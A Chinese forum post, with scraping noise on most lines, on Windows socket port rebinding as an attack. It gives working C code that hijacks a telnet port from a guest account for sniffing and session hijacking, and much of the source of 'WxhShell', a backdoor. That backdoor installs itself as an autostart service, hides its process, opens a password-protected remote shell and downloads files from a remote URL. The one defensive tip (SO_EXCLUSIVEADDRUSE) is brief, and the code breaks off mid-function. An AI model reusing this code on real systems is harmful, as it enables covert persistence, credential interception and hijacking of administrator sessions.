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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "4KkKi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dBsRm{aS  
2*N&q|ED  
  saddr.sin_family = AF_INET; ,xm;JXJ  
MX"A@p~H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .i1jFwOd|G  
tq2-.]Y@U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dl7Riw-J  
#8P#^v]H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xhw8#  
@$2`DI{_^  
  这意味着什么?意味着可以进行如下的攻击: d4b 9rtM  
x8\E~6`,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6 Xzk;p  
 JsZAP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =>gyc;{2K<  
t-3v1cv"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8<wtf]x  
nF|#@O`1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QC$=Fs5+  
_lP4ez Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zm"!E6`69  
i{Y=!r5r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hY\Eh.  
/vFxVBX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o=mq$Z:}  
W}#QKZ)MB  
  #include d A_S"Zc  
  #include S!`4Bl  
  #include #u}v7{4  
  #include    @m !9"QhC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BN<#x@m$]  
  int main() d/ 'A\"o+  
  {  [%gK^Zt  
  WORD wVersionRequested; >/ *?4  
  DWORD ret; k1QpX@  
  WSADATA wsaData; >oM9~7f  
  BOOL val; qaCi)f!Dl  
  SOCKADDR_IN saddr; F^%{ ;  
  SOCKADDR_IN scaddr; 3iwoMrp  
  int err; =jk-s*g  
  SOCKET s; nN_94 ZqS<  
  SOCKET sc; (Fbm9(q$d  
  int caddsize; 9TbS>o  
  HANDLE mt; E :'  
  DWORD tid;   3isXgp8  
  wVersionRequested = MAKEWORD( 2, 2 ); 7Ap~7)z[  
  err = WSAStartup( wVersionRequested, &wsaData ); $v?! 6:  
  if ( err != 0 ) { rw=UK`  
  printf("error!WSAStartup failed!\n"); *_"c! eW  
  return -1; .yFg$|yG  
  } k#IS ,NKE  
  saddr.sin_family = AF_INET; &2<&X( )  
   ^w&5@3d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7(+OsE  
ZH`K%h0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m_r@t*  
  saddr.sin_port = htons(23); tLoD"/z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1O'*X  
  { =Nv= Q mO  
  printf("error!socket failed!\n"); :xAe<Pq  
  return -1; CL<KBmW7  
  } -!bLMLIg  
  val = TRUE; ^ T:qT*v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TYJnQ2m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]\os`At  
  { qqz,~EhC  
  printf("error!setsockopt failed!\n"); _]?Dt%MkD  
  return -1; '7O{*=`oj  
  } K#6`LL m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [-:<z?(n4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .1[2 CjQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2XecP'+m  
\$~oH3m&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~D`oP/6  
  { MRVz:g\mi  
  ret=GetLastError(); H>X>5_{}  
  printf("error!bind failed!\n"); $E9daUt8"J  
  return -1; Vf,~MG  
  } 8)q]^  
  listen(s,2); G4iLCcjY  
  while(1) RwE*0 T  
  { Pguyf2/w  
  caddsize = sizeof(scaddr); :9rhv{6Wp  
  //接受连接请求 8a$jO+UvN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M:1F@\<  
  if(sc!=INVALID_SOCKET) ,0<F3h  
  { Y5A~iGp8E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B,m$ur#$  
  if(mt==NULL) GFc  
  { XpAq=p0;  
  printf("Thread Creat Failed!\n"); XdIVMXLL\  
  break; M@2Qn-I  
  } (.XDf3   
  } f{ 4G  
  CloseHandle(mt); */Ry6Yu  
  } }A'<?d8   
  closesocket(s); ga1gd~a  
  WSACleanup(); 5N3!!FFE  
  return 0; b=QGbFf  
  }   I}W-5%  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6_ &6'Vq  
  { m)]fJ_  
  SOCKET ss = (SOCKET)lpParam; /HJ(Wt q  
  SOCKET sc; <QoE_z`76  
  unsigned char buf[4096]; /%q9hI   
  SOCKADDR_IN saddr; :mtw}H 'F8  
  long num; ]gZ8b- 2O  
  DWORD val; g /@yK  
  DWORD ret; (#l_YI -  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d_7Xlp@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $E_vCB _  
  saddr.sin_family = AF_INET; {7~ $$AR(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m<'xlF  
  saddr.sin_port = htons(23); \gzwsT2&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Il9s#NA%  
  { ch8w'  
  printf("error!socket failed!\n"); L9YwOSb.  
  return -1; &'ETx"  
  } M^JZ]W(  
  val = 100; W*DIW;8p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %FI6\ |`M  
  { NUnc"@  
  ret = GetLastError(); &MQt2aL  
  return -1; y=qo-v59'  
  } *_K-T#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?N?pe}  
  {  t-x"(  
  ret = GetLastError(); ST8/ ;S#c  
  return -1; <^q"31f  
  } w~KBk)!*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .&}4  
  { dQ|Ht[ s=  
  printf("error!socket connect failed!\n"); MMr7,?,$  
  closesocket(sc); v9`B.(Ru  
  closesocket(ss); |QTqa~~B  
  return -1; tKsM}+fq  
  } -Fc#  
  while(1) nK'8Mo  
  { n@,eZ!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OmjT`,/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K/d &c]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2xdJ(\JWM  
  num = recv(ss,buf,4096,0); &trh\\I"  
  if(num>0) O8N0]Mz  
  send(sc,buf,num,0); `b`52b\6S  
  else if(num==0) 78J .~v/  
  break; )hJjVitG  
  num = recv(sc,buf,4096,0); =LY^3TlDj  
  if(num>0) }J'w z;t1  
  send(ss,buf,num,0); y* Q-4_%,  
  else if(num==0) m1o65FsY08  
  break; ?!j/wV_H  
  } rZQHB[^3  
  closesocket(ss); C{,] 1X6g  
  closesocket(sc); zYF&Dv/u/  
  return 0 ; )0d".Q|v4  
  } +pViHOJu&V  
(ai-n,y  
|A/_Qe|s2  
========================================================== |Pl{Oo+  
[Q_| 6Di  
下边附上一个代码,,WXhSHELL Ul0<Zxv  
UZ3Aq12U}a  
========================================================== \bA'Furp  
d]~1.i  
#include "stdafx.h" $<e .]`R  
%vYlu%c<  
#include <stdio.h> Eq;frnw>q  
#include <string.h> "(&`muIc  
#include <windows.h> (Ha}xwA~(  
#include <winsock2.h> c!wB'~MS#  
#include <winsvc.h> ! e,(Zz5  
#include <urlmon.h> s:F+bG}|  
WvzvGT=  
#pragma comment (lib, "Ws2_32.lib") QGG(I7{-  
#pragma comment (lib, "urlmon.lib") 3CuoB b8  
@wJa33QT  
#define MAX_USER   100 // 最大客户端连接数 #|h8u`  
#define BUF_SOCK   200 // sock buffer pdqa)>$  
#define KEY_BUFF   255 // 输入 buffer aMg f6veM  
g@f/OsR76  
#define REBOOT     0   // 重启 V="f)'S$  
#define SHUTDOWN   1   // 关机 /M `y LI  
1V$B^/_  
#define DEF_PORT   5000 // 监听端口 FGhrf  
0M2+?aKif  
#define REG_LEN     16   // 注册表键长度 ]!o,S{a&  
#define SVC_LEN     80   // NT服务名长度 .T w F] v  
vbh#[,lh  
// 从dll定义API TEZqAR]G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <[l}^`IC^4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]JuB6o_L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pFRnPOv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p&doQh  
`z`;eR2oX  
// wxhshell配置信息 k r^#B^  
struct WSCFG { n8aiGnd=v  
  int ws_port;         // 监听端口 "dOY_@kg  
  char ws_passstr[REG_LEN]; // 口令 S9+gVR8]C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dq 4}VkY  
  char ws_regname[REG_LEN]; // 注册表键名 J&1N8Wk)  
  char ws_svcname[REG_LEN]; // 服务名 xi=uXxl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _'dy$.g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a3IB, dr5P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^@"f%3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D ,^ U%<`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ jdO,-(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4tNgK[6M  
8@ g D03  
}; *.Hnt\4|  
4<Y[L'UaA@  
// default Wxhshell configuration ?|yJ #j1=  
struct WSCFG wscfg={DEF_PORT, I3b-uEHev  
    "xuhuanlingzhe", }kefrT  
    1, ~2ei+#d!^  
    "Wxhshell", dh`A(B{hfc  
    "Wxhshell", aJ;R8(*;\  
            "WxhShell Service", Nx z ,/d  
    "Wrsky Windows CmdShell Service", O4mWsr  
    "Please Input Your Password: ", vAxtN RS  
  1, }gaKO 5  
  "http://www.wrsky.com/wxhshell.exe", w*@Z-'(j  
  "Wxhshell.exe" A1T;9`E  
    }; sJ()ItU5i  
~3]8f0^%m  
// 消息定义模块 k5CIU}H"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0k]N%!U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 824%]i3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :$d3a"]  
char *msg_ws_ext="\n\rExit."; 1nG"\I5N}  
char *msg_ws_end="\n\rQuit."; rVmO/Y#Hx$  
char *msg_ws_boot="\n\rReboot..."; s7LX  
char *msg_ws_poff="\n\rShutdown..."; P ^+>QJ1  
char *msg_ws_down="\n\rSave to "; dU n#'<g5  
( h,F{7  
char *msg_ws_err="\n\rErr!"; @},k\Is  
char *msg_ws_ok="\n\rOK!"; L6qA=b~iz  
T8 /'`s  
char ExeFile[MAX_PATH];  ]^%3Y  
int nUser = 0; h8;"B   
HANDLE handles[MAX_USER]; 40/[ uW"  
int OsIsNt; 2b1:Tt9  
Ut@)<N  
SERVICE_STATUS       serviceStatus; `?m(Z6'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ` XY[ HK  
THZ3%o=X  
// 函数声明 +O6@)?pI  
int Install(void); BtZm_SeA  
int Uninstall(void); -ZJ:<  
int DownloadFile(char *sURL, SOCKET wsh); Vdyx74xX  
int Boot(int flag); H-lRgJdc  
void HideProc(void); \/zS@fz  
int GetOsVer(void); yY|U}]u!V  
int Wxhshell(SOCKET wsl); LnIJ wD  
void TalkWithClient(void *cs); X / "H+l  
int CmdShell(SOCKET sock); W0hLh<Go  
int StartFromService(void); cH ?]uu(  
int StartWxhshell(LPSTR lpCmdLine); )~kb 7rfl  
qIp`'.#m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EB,>k1IJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !{\c`Z<#  
[r'M_foga*  
// 数据结构和表定义 B9\o:eY  
SERVICE_TABLE_ENTRY DispatchTable[] = $R4\jIew V  
{ ,pepr9Yd  
{wscfg.ws_svcname, NTServiceMain}, 4f5$^uN$qA  
{NULL, NULL} t trp| (  
}; hG)lVo!L4j  
n_hD  
// 自我安装 vkLG<Y  
int Install(void) UzXbaQQ2g  
{ >dY"B$A>  
  char svExeFile[MAX_PATH]; y0^FTSQ|  
  HKEY key; ~46ed3eGzi  
  strcpy(svExeFile,ExeFile); Atw^C+"vW&  
"zc!QHpSd  
// 如果是win9x系统,修改注册表设为自启动 Rwk|cqr  
if(!OsIsNt) { {D8 IA3w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dRmTE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yKJp37R  
  RegCloseKey(key);  _>l,%n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qB`P7!VN^]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i"@?eq#h  
  RegCloseKey(key); V;=T~K|)>  
  return 0; 5E8P bV-l  
    } zwS'AN'A  
  } __[q`  
} M"V@>E\L  
else { >LSA?dy!?  
52,a5TVG  
// 如果是NT以上系统,安装为系统服务 7 5u*ZMK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !bg3  
if (schSCManager!=0) glpdYg *  
{ #.RI9B  
  SC_HANDLE schService = CreateService AF}HS8eYy  
  ( ~x+w@4)a>  
  schSCManager, e2Dj%=`EU  
  wscfg.ws_svcname, W` V  
  wscfg.ws_svcdisp, /uVB[Tk^  
  SERVICE_ALL_ACCESS, fA^O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gg9W7%t/  
  SERVICE_AUTO_START, =&'j;j  
  SERVICE_ERROR_NORMAL, "%Ak[04'  
  svExeFile, /~Iy1L#  
  NULL, i%iU_`  
  NULL, _ U\vHa$#  
  NULL, No j6Ina  
  NULL, t:W`=^  
  NULL &7}-Xvc  
  ); ; 5oY)1  
  if (schService!=0) $vicxE~-E  
  { e -x{7  
  CloseServiceHandle(schService); DLf6D | "  
  CloseServiceHandle(schSCManager); <` HLG2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P oC*>R8  
  strcat(svExeFile,wscfg.ws_svcname);  :;rd!)5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .,-t}5(VSq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tXwnK[~x  
  RegCloseKey(key); E+csK*A7  
  return 0; ) 3Eax_?Z  
    } 2#ypM9  
  } V&[|%jm&   
  CloseServiceHandle(schSCManager); Q_]O[Kx  
} F~z4T/TN%G  
} JoIffI?{(D  
fk;39$[  
return 1; Q;Xb-\\  
} x>7}>Y*(  
Vtr 0=-m&  
// 自我卸载 p e |k}{  
int Uninstall(void) XoL9:s(m~  
{ V(w2k^7) F  
  HKEY key; LeXu Td  
Cz8=G;\  
if(!OsIsNt) { 2wpLP^9Vr<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d%\en&:la  
  RegDeleteValue(key,wscfg.ws_regname); @'jC>BS8`  
  RegCloseKey(key); c2-NXSjsW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /5EM;Mx  
  RegDeleteValue(key,wscfg.ws_regname); ESL(Mf'  
  RegCloseKey(key); mO(m%3  
  return 0; >a5CW~Z]  
  } c"H*9u:  
} H<Ed"-n$I<  
} R=_ fk  
else { T\NvN&h-  
58ev (f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %\Z{~(&-v  
if (schSCManager!=0) ej4xW~_  
{ 2*ZB[5_V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ag+$qU  
  if (schService!=0) +W x/zo  
  { .q"`)PT  
  if(DeleteService(schService)!=0) { ]SA]{id+  
  CloseServiceHandle(schService); g/'CX}g`  
  CloseServiceHandle(schSCManager); 0L9z[2sj  
  return 0; c!d>6:\  
  } ]hJ#%1  
  CloseServiceHandle(schService); NnRR"'  
  } i?.MD+f8  
  CloseServiceHandle(schSCManager); h%|Jkx!v-t  
} -U`]/  
} *VmJydd  
j,?>Q4G  
return 1; TO ^}z  
} o4^rE<vJ  
)S]4 Kt_  
// 从指定url下载文件 z^;*&J   
int DownloadFile(char *sURL, SOCKET wsh) $DuX1T  
{ 4 Z.G  
  HRESULT hr; JPltB8j?  
char seps[]= "/"; HTA@en[5  
char *token; 7 ^>UUdk(  
char *file; z<YOA  
char myURL[MAX_PATH]; -Jr6aai3+  
char myFILE[MAX_PATH]; X"0n*UTF,  
5ztHar~f  
strcpy(myURL,sURL); 2m7Z:b  
  token=strtok(myURL,seps); .'.#bH9K  
  while(token!=NULL) cy%JJ)sf  
  { _ +q.R  
    file=token; kC"lO'  
  token=strtok(NULL,seps); z%Pbs[*C  
  } (,z0V+ !  
= Bz yI  
GetCurrentDirectory(MAX_PATH,myFILE); )u)]#z  
strcat(myFILE, "\\"); jq#uBU %  
strcat(myFILE, file); i"V2=jTeBv  
  send(wsh,myFILE,strlen(myFILE),0); @F%H 1  
send(wsh,"...",3,0); X458%)G!(K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #+I)<a7\  
  if(hr==S_OK) ]k &Y )  
return 0; "ph&hd}S  
else J{<,V\t)  
return 1; ;<i`6e  
c'ExZ)RJ  
} J\VG/)E  
^LO=&Cq  
// 系统电源模块  ;j|T#-.  
int Boot(int flag) O{:_-eI&d  
{ O4H %x  
  HANDLE hToken; k<x  %  
  TOKEN_PRIVILEGES tkp; fbgq+f`\  
c 4xh  
  if(OsIsNt) { g b:)t }|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z\Qa6f!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ky*-THS  
    tkp.PrivilegeCount = 1; sz4)xJgF (  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b~uz\%'3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Pv;>fHu  
if(flag==REBOOT) { 7UM!<@9\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WtlPgT;wE  
  return 0; ;[9WB<t  
} l8rBp87Q  
else { 'Pyeb`AXE9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OT/*|Pn9  
  return 0; 8JvF4'zx  
} H~y 7o_tg  
  } s"G;rcS}#  
  else { l;_zXN   
if(flag==REBOOT) { ]"?+R+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2@ 4^ 81  
  return 0; lrQ +G@#  
} PO9<g% qTf  
else { c@iP^;D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "uK`!{  
  return 0; N]qX^RSb  
} $42%H#  
} CtItzp  
n u|paA  
return 1; 57W4E{A  
} mqPV Eo  
e}e|??'(\  
// win9x进程隐藏模块 E07g^y"}i  
void HideProc(void) Ewg5s?2|  
{ TXx%\V_6  
`}uOl C]I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _h;#\ )%~  
  if ( hKernel != NULL ) A'(v]w  
  { 7/^`y')  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z[+H$=$%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GMD>Ih.k:9  
    FreeLibrary(hKernel); NKae~ 1b  
  } >9KQWeD  
k8]=5C?k  
return; f{_K%0*  
} T^'NC8v  
#N"zTW%  
// 获取操作系统版本 E*rnk4Y  
int GetOsVer(void) GS1Vcav<  
{ Q 5R7se_  
  OSVERSIONINFO winfo; +Fu=9j/,j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '&_<!Nv3  
  GetVersionEx(&winfo); '&~A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <3]Qrjl ,b  
  return 1; MN|8(f5Gs  
  else ^'"sFEV7RN  
  return 0; WR;"^<i9  
} LeY!A#j  
zD8q(]: A  
// 客户端句柄模块 WHh=ht s\  
int Wxhshell(SOCKET wsl) +;nADl+Q  
{ n|,kL!++.  
  SOCKET wsh; cZn B 2T?  
  struct sockaddr_in client; =l&A9 >\  
  DWORD myID; ~i&Lc7Xl  
E2f9J{ Ki=  
  while(nUser<MAX_USER) ?<@yo&)  
{ bY6y)l  
  int nSize=sizeof(client); 5~WMb6/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n[2[V*|mI  
  if(wsh==INVALID_SOCKET) return 1; xHN"7j}h  
M[9]t("  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C+/D!ZH%P  
if(handles[nUser]==0) O{" A3f  
  closesocket(wsh); ((Bu Bu>  
else nx<q]J uv\  
  nUser++; Z$h39hm?c  
  } &^-quzlZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K>H_q@-?f  
X2#;1 ku  
  return 0; /mST<{(_G\  
} -#XNZy!//  
 imE5 $;  
// 关闭 socket lH_S*FDa  
void CloseIt(SOCKET wsh) ,$ICv+7]  
{ <{\UE~  
closesocket(wsh); ^%|(dMo4  
nUser--; -:txmM T  
ExitThread(0); nU Oy-c  
} eit>4xMu  
mtEE,O!+  
// 客户端请求句柄 8YI.f  
void TalkWithClient(void *cs) ,^JP0Vc*  
{ BS}uv3  
<L+D  
  SOCKET wsh=(SOCKET)cs; L@rKG~{Xy  
  char pwd[SVC_LEN]; aO@zeKg  
  char cmd[KEY_BUFF]; 0-dhGh?.  
char chr[1]; 5p&&EA/  
int i,j; G $u:1&   
maANxSzi  
  while (nUser < MAX_USER) { F*WW v&\X  
qcxq-HS2'  
if(wscfg.ws_passstr) { |q$br-0+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7. y L>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MmOGt!}9A  
  //ZeroMemory(pwd,KEY_BUFF); !Xt=+aKN  
      i=0; 6"Tr$E  
  while(i<SVC_LEN) { 64s9Dy@%F  
~g2ColFhu  
  // 设置超时 7{oG4X!  
  fd_set FdRead; SZ}t_w `  
  struct timeval TimeOut; =dbLA ,z9  
  FD_ZERO(&FdRead); 6ju+#]T  
  FD_SET(wsh,&FdRead); r\+AeCyb"p  
  TimeOut.tv_sec=8; "HR &Rf k  
  TimeOut.tv_usec=0; ;FYiXK%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?Mp)F2'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _nRY5YnL4P  
O'JH= '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zk]6|i$!I  
  pwd=chr[0]; (,\`?g  
  if(chr[0]==0xd || chr[0]==0xa) { uC G^,BQ  
  pwd=0; Xmy(pV!PF  
  break; ]4@z.1Mr  
  } Dbr(Wg  
  i++; st36xS  
    } /IVw}:G  
fw^mjD  
  // 如果是非法用户,关闭 socket *>.~f<V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #m9V) 1"wB  
} #'z\[^vp  
WPyd ^Y<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ee&QZVL>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }/G~"&N[  
5}e-~-  
while(1) { lqPRUkin  
9&}qie,  
  ZeroMemory(cmd,KEY_BUFF); 2q# t/oN3T  
Q>}I@eyJ  
      // 自动支持客户端 telnet标准   ~I/7{B|yX  
  j=0; b]6;:Q!d  
  while(j<KEY_BUFF) { />\.zuAr&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J.":oD  
  cmd[j]=chr[0];  6" 3!9JC  
  if(chr[0]==0xa || chr[0]==0xd) { ^~MHxF5d  
  cmd[j]=0; 4BuS? #_  
  break; _*Vq1D]C  
  } -GP+e`d  
  j++; =}7wpTc,  
    } K1z"..(2J  
f7OfN#I  
  // 下载文件 Fw:s3ON9}  
  if(strstr(cmd,"http://")) { Y_PCL9G{p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l;Zc[6  
  if(DownloadFile(cmd,wsh)) CT4R/wzY7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +C\?G/  
  else KnZm(c9+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pM[UC{  
  } F5L/7j<}  
  else { OR&+`P"-\  
.(;k]U P  
    switch(cmd[0]) { {b/60xl?  
  $if(`8  
  // 帮助 )'%L#  
  case '?': { a|?CC/Ra  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . 36'=K  
    break; OY~5o&Oa  
  } ?vf{v  
  // 安装 OAw/  
  case 'i': { Q*$x!q  
    if(Install()) TQ@*eoJj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O0b8wpF f  
    else l W&glU(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8qBRO[  
    break; 9FK:lFGD  
    } D (qT$#  
  // 卸载 oF V9t{~j  
  case 'r': { KU33P>a"[k  
    if(Uninstall()) >&?wo{b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); drtQEc>qT  
    else -oF4mi8S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mq'q@@:c  
    break; LZ&CGV"Z-  
    } ~,':PUkiV  
  // 显示 wxhshell 所在路径 E pM 4 +  
  case 'p': { "c\T  
    char svExeFile[MAX_PATH]; N@)4H2_u \  
    strcpy(svExeFile,"\n\r"); MzK&Jh  
      strcat(svExeFile,ExeFile); V=(4 c  
        send(wsh,svExeFile,strlen(svExeFile),0); (nda!^f_s  
    break; }aX).u  
    } %_tL}m{?  
  // 重启 nsgNIE{>gO  
  case 'b': { qd{|"(9B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TqbKH08i/  
    if(Boot(REBOOT)) ,u]kZ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L**!$k"{5  
    else { $a5K  
    closesocket(wsh); U?|s/U  
    ExitThread(0); cW&OVNj  
    } ZTS*E,U%  
    break; 7^Onq0ym T  
    } RNvtgZ}k{X  
  // 关机 O4$: xjs  
  case 'd': { Ld`~^<B  
